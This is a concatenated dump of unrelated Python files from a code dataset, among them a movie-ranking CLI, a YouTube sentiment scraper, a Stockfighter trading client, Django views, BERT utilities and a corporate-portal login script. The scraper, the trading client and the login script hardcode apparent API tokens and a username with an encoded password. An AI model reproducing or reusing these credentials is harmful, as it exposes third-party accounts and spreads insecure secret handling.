range(0,len(listaminaverage)):\n for j in range(1,len(listadetails)):\n if float(listaminaverage[i])==float(listadetails[j][\"vote_count\"]) and listadetails[j][\"title\"] not in nombreminaverage and len(nombreminaverage)<10:\n nombreminaverage.append(listadetails[j][\"title\"])\n retorno[\"peores_votadas\"]=nombreminaverage\n \n return retorno\n\ndef main():\n \"\"\"\n Método principal del programa, se encarga de manejar todos los metodos adicionales creados\n\n Instancia una lista vacia en la cual se guardarán los datos cargados desde el archivo\n Args: None\n Return: None \n \"\"\"\n listacasting = [] #instanciar una lista vacia\n listadetails = []\n while True:\n printMenu() #imprimir el menu de opciones en consola\n inputs =input('Seleccione una opción para continuar\\n') #leer opción ingresada\n if len(inputs)>0:\n if int(inputs[0])==1: #opcion 1\n loadCSVFile(\"Data/MoviesCastingRaw-small.csv\", listacasting) #llamar funcion cargar datos\n print(\"Datos de casting cargados, \"+str(len(listacasting))+\" elementos cargados\")\n elif int(inputs[0])==2: #opcion 2\n loadCSVFile(\"Data/SmallMoviesDetailsCleaned.csv\", listadetails) #llamar funcion cargar datos\n print(\"Datos de details cargados, \"+str(len(listadetails))+\" elementos cargados\")\n elif int(inputs[0])==3: #opcion 3\n director=str(input(\"Escriba el nombre del director: \"))\n print(encontrarbuenaspeliculas(director,listacasting,listadetails))\n elif int(inputs[0])==4: #opcion 4\n masvotadas=int(input(\"Desea conocer las 10 peliculas mas votadas? 1:Si, 0:no: \"))\n menosvotadas=int(input(\"Desea conocer las 10 peliculas menos votadas? 1:Si, 0:no: \"))\n mejoresvotadas=int(input(\"Desea conocer las 10 peliculas mejores votadas? 1:Si, 0:no: \"))\n peoresvotadas=int(input(\"Desea conocer las 10 peliculas peores votadas? 1:Si, 0:no: \"))\n print(rankingpeliculas(listadetails,masvotadas,menosvotadas,mejoresvotadas,peoresvotadas))\n elif int(inputs[0])==0: #opcion 0, salir\n sys.exit(0)\n\nif __name__ == \"__main__\":\n main()","sub_path":"App/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"523223842","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nfrom leetcode.Util import TreeNode\n\nfrom leetcode import Util\n\n\nclass Solution:\n def rob1(self, root: TreeNode) -> int:\n dp = {}\n\n def helper(node):\n if node is None:\n return 0\n if node in dp:\n return dp[node]\n x1, x2, x3, x4 = 0, 0, 0, 0\n if node.left:\n x1, x2 = helper(node.left.left), helper(node.left.right)\n if node.right:\n x3, x4 = helper(node.right.left), helper(node.right.right)\n dp[node] = max(helper(node.left) + helper(node.right), x1 + x2 + x3 + x4 + node.val)\n return dp[node]\n\n return helper(root)\n\n def rob(self, root: TreeNode) -> int:\n def helper(node):\n # result is arr, arr[0] = choose node, arr[1]: not choose node\n if node is None:\n return [0, 0]\n left = helper(node.left)\n right = helper(node.right)\n return [node.val + left[1] + right[1], max(left[0], left[1]) + max(right[0], right[1])]\n\n return max(helper(root))\n\n\ns = Solution()\nprint(s.rob1(Util.createTree([3, 2, 6, None, 3, None, 1])),\n s.rob(Util.createTree([3, 2, 6, None, 3, None, 1])))\n","sub_path":"leetcode/2020/House_Robber_III.py","file_name":"House_Robber_III.py","file_ext":"py","file_size_in_byte":1415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"162617098","text":"# d3, flask\n# doesn't seem to be getting videos on first page - \n\n\nimport bs4\nimport urllib2\nimport requests\nimport json\nimport math\nimport pprint\nimport pymongo\n \n\ndef custom_sigmoid(x):\n return 2.0 / (1 + math.e**(-0.08 * x)) - 1\n\n\nconn = pymongo.MongoClient()\ndb = conn.db_query\nYT_sents = db.YT_sents\n \n# What do we want to query from youtube?\nquery = \"hawaii\".replace(\" \", \"+\")\nfinal_results = { }\n\nif YT_sents.find({ '_id' : query }).count() == 0:\n\n # Retrieve the HTML search results\n search_url = \"https://www.youtube.com/results?search_sort=video_view_count&search_query=%s\" % query\n data = urllib2.urlopen(search_url)\n soup = bs4.BeautifulSoup(data)\n titles = soup.findAll('h3', attrs={'class': 'yt-lockup-title '})\n \n # Get all video IDs for these results from youtube\n video_ids = []\n for title in titles:\n link = title.findAll('a')\n if link:\n video_ids.append(link[0].attrs['href'].split(\"=\")[-1])\n \n # This will store video_id => final score\n final_results = {}\n \n # For every video result\n for video_id in video_ids:\n print(\"Retrieving html for video %s\" % video_id)\n \n # Grab the page source for video\n url = r'http://www.youtube.com/all_comments?v=%s' % video_id\n data = urllib2.urlopen(url) #example XhFtHW4YB7M\n \n # Pull out comments from html\n soup = bs4.BeautifulSoup(data)\n cmnts = soup.findAll(attrs={'class': 'comment-text-content'})\n \n print(\"Getting video comments\")\n \n # Create list of only comment text\n comments_text = [cmnt.text for cmnt in cmnts if cmnt.text]\n \n print(\"Sending over to MonkeyLearn\")\n \n if comments_text:\n # Create a request to MonkeyLearn sentiment API\n response = requests.post(\n \"https://api.monkeylearn.com/v2/classifiers/cl_qkjxv9Ly/classify/?\",\n data = json.dumps({'text_list': comments_text}),\n headers={'Authorization': 'Token 9112d82b0565d664965ecb5ab2b3b1c1ac98aa4f',\n 'Content-Type': 'application/json'})\n \n # Grab their results in json \n results = json.loads(response.text)# convert json response to python\n \n print(\"Results found, calculating score\")\n \n # What are the sentiment results?\n idx = 0\n neutral_count = 0.0\n positive_count = 0.0\n negative_count = 0.0\n for idx in range(len(results['result'])):\n label = results['result'][idx][0]['label']\n if label == 'neutral': neutral_count+=1\n elif label == 'positive': positive_count+=1\n elif label == 'negative': negative_count+=1\n #print comments_text[idx], '-----', label\n \n # Get final score for this video \n # Formula = ((pos-neg)/total) * f(total)\n total = positive_count + negative_count\n if total != 0: \n score = ((positive_count - negative_count) / total) * custom_sigmoid(total)\n else:\n score = 0.0\n else:\n score = 0.0 \n \n # Store results in dict\n final_results[video_id] = score\n \n print(\"Done\")\n\n #save data to mongo\n final_results[\"_id\"] = query\n YT_sents.insert_one(final_results)\n\nelse:\n final_results = YT_sents.find_one({ '_id' : query })\n\n\nimport operator\nsorted_final_results = sorted(final_results.items(), reverse=True,key=operator.itemgetter(1))\n\n# Print results\npprint.pprint(sorted_final_results)\n","sub_path":"youtube_sentiment_v2.py","file_name":"youtube_sentiment_v2.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"283891043","text":"# pylint: disable=invalid-name\n\"\"\"Script to import CSV data into mongodb\"\"\"\nimport time\nimport csv\nfrom pymongo import MongoClient\n\n\nclass MongoDBConnection():\n \"\"\"MongoDB Connection\"\"\"\n\n def __init__(self, host=\"127.0.0.1\", port=27017):\n self.host = host\n self.port = port\n self.connection = None\n\n def __enter__(self):\n self.connection = MongoClient(self.host, self.port)\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.connection.close()\n\n\ndef import_data(dir_name, customer_file, product_file):\n \"\"\"Import data into the database\"\"\"\n custout = import_file(f\"{dir_name}/{customer_file}\",\n \"customers\",\n \"customer_id\")\n prodout = import_file(f\"{dir_name}/{product_file}\",\n \"products\",\n \"product_id\")\n return [custout, prodout]\n\n\ndef import_file(filepath, tablename, key):\n \"\"\"Import data from a file into a table\"\"\"\n outdata = [0, 0, 0, 0.0]\n start_time = time.perf_counter()\n mongo = MongoDBConnection()\n with mongo:\n db = mongo.connection.test_database\n table = db[tablename]\n\n # get number of records in db before importing\n outdata[1] = table.count_documents({})\n\n # actually import data\n with open(filepath) as f:\n reader = csv.DictReader(f)\n for row in reader:\n table.update_one(\n {key: row[key]},\n {'$set': row},\n upsert=True\n )\n outdata[0] += 1\n\n # get number of records in db after importing\n outdata[2] = table.count_documents({})\n\n # get finish time and parse\n end_time = time.perf_counter()\n outdata[3] = end_time - start_time\n\n return tuple(outdata)\n\n\nif __name__ == \"__main__\":\n print(import_data(\"data\", \"customers.csv\", \"products.csv\"))\n","sub_path":"students/choltzman/lesson07/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"645323050","text":"import json\nimport requests\n\n\nclass Trader:\n api_key = '4f7c537ce4b923b340a285c8c8b3431275934937'\n venue = ''\n account = ''\n api_url = 'https://api.stockfighter.io/ob/api/'\n\n auth = {'X-Starfighter-Authorization': api_key}\n\n def __init__(self, venue, account):\n self.venue = venue\n self.account = account\n print('Created Trader at ' + venue + ' with account ' + account)\n\n # {\n # 'ok': true,\n # 'symbol': 'FAC',\n # 'venue': 'OGEX',\n # 'bid': 5100, // best price currently bid for the stock\n # 'ask': 5125, // best price currently offered for the stock\n # 'bidSize': 392, // aggregate size of all orders at the best bid\n # 'askSize': 711, // aggregate size of all orders at the best ask\n # 'bidDepth': 2748, // aggregate size of *all bids*\n # 'askDepth': 2237, // aggregate size of *all asks*\n # 'last': 5125, // price of last trade\n # 'lastSize': 52, // quantity of last trade\n # 'lastTrade': '2015-07-13T05:38:17.33640392Z', // timestamp of last trade\n # 'quoteTime': '2015-07-13T05:38:17.33640392Z' // ts we last updated quote at (server-side)\n # }\n #\n # https://api.stockfighter.io/ob/api/venues/:venue/stocks/:stock/quote\n def get_quote(self, stock):\n r = requests.get(self.api_url + 'venues/' + self.venue + '/stocks/' + stock + '/quote')\n return r.json()\n\n # Set up the order\n # order = {\n # 'account' => account,\n # 'venue' => venue,\n # 'symbol' => stock,\n # 'price' => 25000, #$250.00 -- probably ludicrously high\n # 'qty' => 100,\n # 'direction' => 'buy',\n # 'orderType' => 'limit' # See the order docs for what a limit order is\n # }\n def order(self, symbol, price, qty, direction, order_type):\n order = {\n 'account': self.account,\n 'venue': self.venue,\n 'symbol': symbol,\n 'price': price, # $250.00 -- probably ludicrously high\n 'qty': qty,\n 'direction': direction,\n 'orderType': order_type # See the order docs for what a limit order is\n }\n # print(json.dumps(self.auth))\n # payload = {'headers':json.dumps(self.auth), 'body':json.dumps(order)}\n r = requests.post(self.api_url + 'venues/' + self.venue + '/stocks/' + symbol + '/orders', headers=self.auth,\n data=json.dumps(order))\n return r.json()\n","sub_path":"Trader.py","file_name":"Trader.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"239775226","text":"# -*- coding:utf-8 -*-\nfrom django.shortcuts import render\nfrom base.models import RbacRole, RbacRoleInfo\nfrom django.http import HttpResponse\nimport json\nfrom .froms import *\n\n\ndef index(request):\n roles = RbacRole.objects.values('role_id','role_name','status').order_by('status')\n return render(request,'rbac/role/index.html',locals())\n\ndef create(request):\n if request.method == 'GET':\n id = request.GET.get('id')\n role = RbacRole.objects.values('role_id','role_name','status').filter(role_id=id).first()\n\n if request.method == 'POST':\n id = request.POST.get('id')\n name = request.POST.get('name')\n status = request.POST.get('status')\n res = {}\n try:\n if id:\n role = RbacRole.objects.filter(role_id=id).update(role_name=name,status=status)\n else:\n role = RbacRole()\n role.role_name = name\n role.status = status\n role.save()\n res['msg'] = 0\n except Exception as e:\n print(e)\n res['msg'] = 1\n return render(request,'rbac/role/create.html',locals())\n\ndef delete(request):\n pass\n\ndef info(request):\n roleID = request.GET.get('id')\n #获取业态相关分类信息\n departs = getDeparts()\n #获取部类相关分类信息\n classes = getClasses()\n # 获取功能模块相关分类信息\n modules = getModules()\n roleID = request.GET.get('id')\n role = RbacRoleInfo.objects.values('depart', 'category', 'module').filter(role_id=roleID).first()\n data = {}\n\n if role:\n departs = role['depart'].replace('},', '}$')\n departList = departs.split('$')\n for depart in departList:\n depart = json.loads(depart)\n if depart['p_id'] == '11':\n data['chaoShi'] = getFormData(depart['sub'])\n elif depart['p_id'] == '12':\n data['baiHuo'] = getFormData(depart['sub'])\n elif depart['p_id'] == '13':\n data['bianLiDian'] = getFormData(depart['sub'])\n\n categories = role['category'].replace('},', '}$')\n categoryList = categories.split('$')\n for category in categoryList:\n category = json.loads(category)\n if category['p_id'] == '1':\n data['shengXian'] = getFormData(category['sub'])\n elif category['p_id'] == '2':\n data['shiPin'] = getFormData(category['sub'])\n elif category['p_id'] == '3':\n data['feiShi'] = getFormData(category['sub'])\n elif category['p_id'] == '4':\n data['jiaDian'] = getFormData(category['sub'])\n elif category['p_id'] == '6':\n data['yunYing'] = getFormData(category['sub'])\n\n modules = role['module'].replace('},', '}$')\n moduleList = modules.split('$')\n for module in moduleList:\n module = json.loads(module)\n if module['p_id'] == '1':\n data['dailyCHSH'] = getFormData(module['sub'])\n elif module['p_id'] == '2':\n data['dailyBH'] = getFormData(module['sub'])\n elif module['p_id'] == '3':\n data['dailyBLD'] = getFormData(module['sub'])\n elif module['p_id'] == '4':\n data['dailyErr'] = getFormData(module['sub'])\n\n form = roleInfoForm(data)\n return render(request, 'rbac/role/roleInfo.html', locals())\n\ndef getFormData(subStr):\n subStr = subStr[0:len(subStr)-1]\n subList = subStr.split(',')\n data = set()\n for sub in subList:\n data.add(sub)\n return data\n\ndef infoSave(request):\n role_id = request.POST.get('id')\n departs = request.POST.get('departs')\n categories = request.POST.get('categories')\n modules = request.POST.get('modules')\n res = {}\n try:\n role = RbacRoleInfo()\n role.depart = departs\n role.category = categories\n role.module = modules\n role.role_id = role_id\n role.save()\n res['msg'] = 0\n except Exception as e:\n print(e)\n res['msg'] = 1\n\n return HttpResponse(json.dumps(res))\n\ndef getDeparts():\n companys = RbacShop.objects.values('shoptype').distinct()\n departs = RbacShop.objects.values('shopcode','shopnm','shoptype').filter(shoptype__in=(11,12,13),enable=1)\n data = []\n for company in companys:\n item = {}\n c_tpye = company['shoptype'].strip()\n item['p_item'] = {'c_id' : c_tpye}\n item['sub'] = []\n for depart in departs :\n if depart['shoptype'].strip() == c_tpye :\n item['sub'].append({'depart_id':depart['shopcode'],'depart_name':depart['shopnm']})\n data.append(item)\n return data\n\ndef getClasses():\n catrgories = BasOrg.objects.values('orgcode','orgname','parentcode').filter(tier=1,orgcode__in=(1,2,3,4,6))\n classes = BasOrg.objects.values('orgcode','orgname','parentcode').filter(tier=2)\n data = []\n for catrgory in catrgories:\n item = {}\n c_id = catrgory['orgcode']\n item['p_item'] = {'c_id':c_id,'c_name':catrgory['orgname']}\n item['sub'] = []\n for obj in classes:\n if obj['parentcode'] == c_id:\n item['sub'].append({'class_id':obj['orgcode'],'class_name':obj['orgname']})\n data.append(item)\n\n return data\n\ndef getModules():\n modules = RbacMoudle.objects.values('m_name','m_id').filter(status=1,p_id=0)\n modulesChild = RbacMoudle.objects.values('m_name','m_id','p_id').filter(status=1).exclude(p_id='')\n data = []\n for m in modules:\n item = {}\n p_id = m['m_id']\n item['p_item'] = {'m_id':p_id,'m_name':m['m_name']}\n item['sub'] = []\n for c in modulesChild:\n if c['p_id'] == p_id:\n item['sub'].append({'m_id':c['m_id'],'m_name':c['m_name']})\n data.append(item)\n return data","sub_path":"base/rbac/role/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":5904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"93972639","text":"import requests\n\n#\n# WAN9839\n# ePwd: 93qst%85qKp%116UZP%122iUE%117Vlf%116pih%55Uph%56xTK%57ypz%52DHE\n# JsLoaded: true\nwith requests.Session() as c:\n url = 'http://erwin.nml.com/MM/Login.do'\n username = 'WAN9838'\n pw = '93qst%85qKp%116UZP%122iUE%117Vlf%116pih%55Uph%56xTK%57ypz%52DH'\n\n c.get(url)\n login_data = dict(__username__=username, ePwd=pw,\n JsLoaded='true')\n c.post(url, data=login_data, headers={\"Referer\": \"http://erwin.nml.com/MM/\"})\n page = c.get('http://erwin.nml.com/MM')\n\n print(page.content)\n\n # logged in\n\n # r = requests.get(url=URL, params=PARAMS)\n URL = \"http://erwin.nml.com/MM/css/fonts/diagram.svg?_dc=1533588153332\"\n r = requests.get(url=URL)\n print('svg')\n print(r.text)\n\n","sub_path":"erwin web portal/on hold/ErwinDirectRequestWoff.py","file_name":"ErwinDirectRequestWoff.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"514509807","text":"from django.shortcuts import render\nfrom .models import Product\n\nfrom django.shortcuts import render, redirect\nfrom .forms import NewUserForm\nfrom django.contrib.auth import login\nfrom django.contrib import messages \nfrom django.contrib.auth import login, authenticate ,logout #add this\nfrom django.contrib.auth.forms import AuthenticationForm #add this\n\nfrom django.shortcuts import render\nfrom django.http import JsonResponse\nimport json\nimport datetime\nfrom .models import * \nfrom .utils import cookieCart, cartData, guestOrder\n# Create your views here.\n\n\n\n\ndef index(request):\n\tdest1= Product.objects.all\n\tdata = cartData(request)\n\tcartItems = data['cartItems']\n\treturn render(request ,'index.html', {'dest1': dest1,\"cartItems\": cartItems});\n\n\n\ndef register_request(request):\n\tif request.method == \"POST\":\n\t\tform = NewUserForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tuser = form.save()\n\t\t\tlogin(request, user)\n\t\t\tmessages.success(request, \"Registration successful.\" )\n\t\t\treturn redirect(\"/\")\n\t\tmessages.error(request, \"Unsuccessful registration. Invalid information.\")\n\tform = NewUserForm\n\treturn render (request=request, template_name=\"register.html\", context={\"register_form\":form})\n\n\ndef login_request(request):\n\tif request.method == \"POST\":\n\t\tform = AuthenticationForm(request, data=request.POST)\n\t\tif form.is_valid():\n\t\t\tusername = form.cleaned_data.get('username')\n\t\t\tpassword = form.cleaned_data.get('password')\n\t\t\tuser = authenticate(username=username, password=password)\n\t\t\tif user is not None:\n\t\t\t\tlogin(request, user)\n\t\t\t\tmessages.info(request, f\"You are now logged in as {username}.\")\n\t\t\t\treturn redirect(\"/\")\n\t\t\telse:\n\t\t\t\tmessages.error(request,\"Invalid username or password.\")\n\t\telse:\n\t\t\tmessages.error(request,\"Invalid username or password.\")\n\tform = AuthenticationForm()\n\treturn render(request=request, template_name=\"login.html\", context={\"login_form\":form})\n\ndef store(request):\n\tdata = cartData(request)\n\n\tcartItems = data['cartItems']\n\torder = data['order']\n\titems = data['items']\n\n\tproducts = Product.objects.all()\n\tcontext = {'products':products, 'cartItems':cartItems}\n\treturn render(request, 'store/store.html', context)\n\n\n\n\n\ndef logout_request(request):\n\tlogout(request)\n\tmessages.info(request, \"You have successfully logged out.\") \n\treturn redirect(\"/\")\n\n\ndef cart(request):\n\tdata = cartData(request)\n\n\tcartItems = data['cartItems']\n\torder = data['order']\n\titems = data['items']\n\n\tcontext = {'items':items, 'order':order, 'cartItems':cartItems}\n\treturn render(request, 'cart.html', context)\n\ndef checkout(request):\n\tdata = cartData(request)\n\t\n\tcartItems = data['cartItems']\n\torder = data['order']\n\titems = data['items']\n\n\tcontext = {'items':items, 'order':order, 'cartItems':cartItems}\n\treturn render(request, 'checkout.html', context)\n\ndef updateItem(request):\n\tdata = json.loads(request.body)\n\tproductId = data['productId']\n\taction = data['action']\n\tprint('Action:', action)\n\tprint('Product:', productId)\n\n\tcustomer = request.user.customer\n\tproduct = Product.objects.get(id=productId)\n\torder, created = Order.objects.get_or_create(customer=customer, complete=False)\n\n\torderItem, created = OrderItem.objects.get_or_create(order=order, product=product)\n\n\tif action == 'add':\n\t\torderItem.quantity = (orderItem.quantity + 1)\n\telif action == 'remove':\n\t\torderItem.quantity = (orderItem.quantity - 1)\n\n\torderItem.save()\n\n\tif orderItem.quantity <= 0:\n\t\torderItem.delete()\n\n\treturn JsonResponse('Item was added', safe=False)\n\ndef processOrder(request):\n\ttransaction_id = datetime.datetime.now().timestamp()\n\tdata = json.loads(request.body)\n\n\tif request.user.is_authenticated:\n\t\tcustomer = request.user.customer\n\t\torder, created = Order.objects.get_or_create(customer=customer, complete=False)\n\telse:\n\t\tcustomer, order = guestOrder(request, data)\n\n\ttotal = float(data['form']['total'])\n\torder.transaction_id = transaction_id\n\n\tif total == order.get_cart_total:\n\t\torder.complete = True\n\torder.save()\n\n\tif order.shipping == True:\n\t\tShippingAddress.objects.create(\n\t\tcustomer=customer,\n\t\torder=order,\n\t\taddress=data['shipping']['address'],\n\t\tcity=data['shipping']['city'],\n\t\tstate=data['shipping']['state'],\n\t\tzipcode=data['shipping']['zipcode'],\n\t\t)\n\n\treturn JsonResponse('Payment submitted..', safe=False)","sub_path":"food_delivery/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"25810849","text":"from PIL import ImageGrab\nimport cv2\nimport numpy as np\nfrom datetime import datetime\nimport time\n\n\ndef screen_capture():\n screen = np.array(ImageGrab.grab(bbox=(0, 0, 800, 600)))\n cv2.imshow('Python Window', screen)\n count = 0\n timeout = 1\n import tkinter as tk\n\n root = tk.Tk()\n screen_width = root.winfo_screenwidth()\n screen_height = root.winfo_screenheight()\n print(screen_height, screen_width)\n\n while True:\n count += 1\n start_time = datetime.now()\n # do your work here\n # print('Duration: {}'.format(end_time - start_time))\n screen = np.array(ImageGrab.grab(bbox=(0, 0, screen_width, screen_height)))\n # cv2.resizeWindow('jpg', screen_width, screen_height)\n cv2.imshow('window', screen)\n # cv2.destroyAllWindows()\n end_time = datetime.now()\n print(\"count in one second\", count)\n # print('Duration: {}'.format(end_time - start_time))\n second = time.localtime().tm_sec\n print(second)\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cv2.destroyAllWindows()\n break\n\n","sub_path":"screen_capture.py","file_name":"screen_capture.py","file_ext":"py","file_size_in_byte":1112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"235933330","text":"import math,numpy\n\ndef main(c1,c2,c3,c4):\n\n v1 = c2-c1\n v2 = c3-c2\n v3 = c4-c3\n\n angle = math.atan2(\n numpy.dot(\n math.sqrt(sum(v2*v2))*v1,\n cross(v2,v3),\n ),\n numpy.dot(\n cross(v1,v2),\n cross(v2,v3),\n ),\n )\n angle *= 180./math.pi\n\n return angle\n\n\ndef cross(v1,v2):\n\n n = numpy.array([\n v1[1]*v2[2]-v1[2]*v2[1],\n v1[2]*v2[0]-v1[0]*v2[2],\n v1[0]*v2[1]-v1[1]*v2[0],\n ])\n\n return n\n","sub_path":"quakes/quakes_dihedral.py","file_name":"quakes_dihedral.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"373079826","text":"#%% INIT\nimport json\nimport random\nimport os\nimport numpy as np\nimport re\nimport time\nimport os\nfrom zipfile import ZipFile\n\nimport torch\nfrom transformers import AutoTokenizer, AutoModelForMaskedLM, BertModel\n\n#%% SAMPLING\n\"\"\"\nsample_idx = random.sample(np.arange(0, len(df)).tolist(), 3000)\ndf = [df[idx] for idx in sample_idx]\npositive_label = [positive_label[idx] for idx in sample_idx]\n\nwith open(\"output/labels.json\", 'w') as f:\n\tf.write(json.dumps(positive_label))\n\nprint('-'*10)\nprint(\"Sample: \")\nprint(f'number of comments + postname: {len(df)}')\nprint(f'positive labels: {len(positive_label)}')\nprint('-'*10)\n\"\"\"\n\n\n#%% TESTING\n\"\"\"\ntokens_tensor = tokenizer(df[0:16], return_tensors=\"pt\", padding=True) # pt for pytorch\nwith torch.no_grad():\n\toutput = model(**tokens_tensor)\noutput.pooler_output.shape\n# output.hidden_states[0][:,0,:].shape\n\"\"\"\n#%%\ndef generate_class_vector(df, model_name=\"bert-base-chinese\", batch_size=None, output_name='output/rename.pt', full=False, full_interval=2):\n \"\"\"Generate class vectors with BERT and save the tensor in output.\"\"\"\n # zip full output\n if os.path.exists(\"tmp\"):\n os.system('cmd /k \"rm -R tmp\"')\n os.mkdir('tmp')\n zipObj = ZipFile(output_name.replace('.pt', f'_full.zip'), 'w')\n\n if torch.cuda.is_available():\n device = torch.device('cuda:0')\n if batch_size == None:\n batch_size = 128\n else:\n device = torch.device('cpu')\n if batch_size == None:\n batch_size = 16\n print(\"-\"*50 + \"\\n|\")\n print(f'| Generating tensors\\n|\\tmodel = {model_name}\\n|\\tbatch_size = {batch_size}\\n|\\toutput = {output_name}\\n|\\tdevice = {device}')\n print(\"|\\n\" + \"-\"*50)\n\n tokenizer = AutoTokenizer.from_pretrained(model_name)\n model = BertModel.from_pretrained(model_name)\n\n model.to(device)\n\n concat_output = None\n hidden = None\n data_length = len(df)\n max_length = len(max(df, key=len))\n batches = np.arange(0, data_length, batch_size)\n log_interval = int(len(batches)/20) if int(len(batches)/20) != 0 else len(batches)//2\n # print(f'max length sequence: {max_length}')\n print(f\"number of batches: {len(batches)}\")\n\n start = time.time()\n count = 0\n for i, batch in enumerate(batches):\n if batch_size + batch_size >= data_length:\n tokens_tensor = tokenizer(df[batch:], return_tensors=\"pt\", padding='max_length', max_length=max_length) # pt for pytorch\n else:\n tokens_tensor = tokenizer(df[batch:batch + batch_size], return_tensors=\"pt\", padding='max_length', max_length=max_length) # pt for pytorch\n tokens_tensor.to(device)\n\n with torch.no_grad():\n output = model(**tokens_tensor)\n\n if concat_output == None:\n concat_output = output.pooler_output\n else:\n concat_output = torch.cat([concat_output, output.pooler_output], 0)\n\n if hidden == None:\n hidden = output.last_hidden_state\n else:\n hidden = torch.cat([hidden, output.last_hidden_state], 0)\n\n if i % (log_interval * full_interval) == 0 and i != 0:\n tmp_name = output_name.replace('.pt', f'_full_{count}.pt')\n tmp_name = tmp_name.replace('output/', 'tmp/')\n torch.save(concat_output, tmp_name)\n zipObj.write(tmp_name)\n os.remove(tmp_name)\n print(f\"hidden: {hidden.shape}, saved at {tmp_name}\")\n count += 1\n del hidden\n hidden = None\n\n if i % log_interval == 0:\n print(f'Batch: {i+1} [{(i+1)*batch_size}/{data_length}] {round(time.time() - start, 2)}s {(i+1)*batch_size*1.0/data_length * 100}%')\n print(f\"Pooler Output: {concat_output.shape}\")\n torch.save(concat_output, output_name)\n if hidden != None:\n tmp_name = output_name.replace('.pt', f'_full_{count}.pt')\n torch.save(concat_output, tmp_name)\n zipObj.write(tmp_name)\n os.remove(tmp_name)\n print(f\"hidden: {hidden.shape}, saved at {tmp_name}\")\n\n os.rmdir(\"tmp\")\n zipObj.close()\n\n#%% split text function\ndef split_text(text, max_length):\n \"\"\"Split text with multiple characters according to max length.\n buffer is accumulated with different segments and it will be splitted if it exceed the max length.\n Return a list of string.\n \"\"\"\n breaks = [i for i in re.finditer(' |\\n|\\:|\\:|\\,|\\,|\\﹐|\\。|\\ㄧ|\\?|\\?|\\!|\\!|\\;|\\;', text)]\n segments = []\n start_offset = 0\n for k, p in enumerate(breaks):\n if p.end() - start_offset > max_length:\n start = start_offset\n end = breaks[k-1].end()\n segment = text[start:end]\n start_offset = breaks[k-1].end()\n segments.append(segment)\n\n if segments == []:\n mid = len(breaks)//2\n segments = [text[:breaks[mid-1].end()], text[breaks[mid-1].end():]]\n\n if segments == []:\n raise Exception(f'something is wrong \\n{max_length}\\n{text}')\n\n for segment in segments:\n if len(segment) > max_length:\n raise Exception(f'splitted segment is larger than {max_length}\\n{segment}\\n{text}')\n return segments\n\ndef analyze_tokenization(sequence, tokenizer):\n ## this is to examine the tokenization process, one line of code can do all of these\n print(sequence)\n\n # tokenize (break sentence into words)\n tokens = tokenizer.tokenize(sequence)\n print(tokens)\n\n # words to id\n tokens_ids = tokenizer.convert_tokens_to_ids(tokens)\n print(tokens_ids)\n\n # add special tokens [CLS] [SEP] 101 102\n tokens_ids = tokenizer.build_inputs_with_special_tokens(tokens_ids)\n print(tokens_ids)\n\n print(tokenizer.convert_ids_to_tokens(tokens_ids))\n\n# %%\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"381134030","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: andrea cecchi\n\"\"\"\nfrom plone.registry.interfaces import IRegistry\nfrom Products.CMFCore.utils import getToolByName\nfrom rer.sitesearch.custom_fields import TabsValueField, IndexesValueField\nfrom rer.sitesearch.interfaces import IRERSiteSearchSettings\nfrom zope.component import queryUtility\nfrom zope.schema.interfaces import IVocabularyFactory\n\n\nDEFAULT_HIDDEN_INDEXES = [('start', 'Event start'),\n ('end', 'Event end'),\n ('Creator', 'Author')]\n\nDEFAULT_INDEXES = [('Subject', 'Subject')]\n\nDEFAULT_TABS = [('Document', 'Documents'),\n ('News Item', 'News'),\n ('Event', 'Events'),\n ('File', 'File'),\n ('Link', 'Links')]\n\n\ndef Handlers(context):\n if context.readDataFile('sitesearch_various.txt') is None:\n return\n portal = context.getSite()\n insertProperties(portal)\n\n\ndef insertProperties(context):\n \"\"\"\n insert some properties\n \"\"\"\n registry = queryUtility(IRegistry)\n settings = registry.forInterface(IRERSiteSearchSettings, check=False)\n #set search indexes\n indexes = setRegistyIndexes(context, DEFAULT_INDEXES)\n settings.available_indexes = indexes\n #set hidden indexes\n hidden_indexes = setRegistyIndexes(context, DEFAULT_HIDDEN_INDEXES)\n settings.hidden_indexes = hidden_indexes\n #set tabs\n tabs = setRegistryTabs(context)\n if tabs:\n settings.tabs_mapping = tabs\n tabs_order_dict = queryUtility(IVocabularyFactory, name=\"rer.sitesearch.vocabularies.SearchTabsVocabulary\")\n tabs_order = tabs_order_dict(context).by_token.keys()\n settings.tabs_order = tuple(tabs_order)\n\n\ndef setRegistyIndexes(context, indexes_list):\n \"\"\"\n \"\"\"\n pc = getToolByName(context, 'portal_catalog')\n catalog_indexes = pc.indexes()\n new_items = []\n for index in indexes_list:\n index_id = index[0]\n index_title = index[1]\n 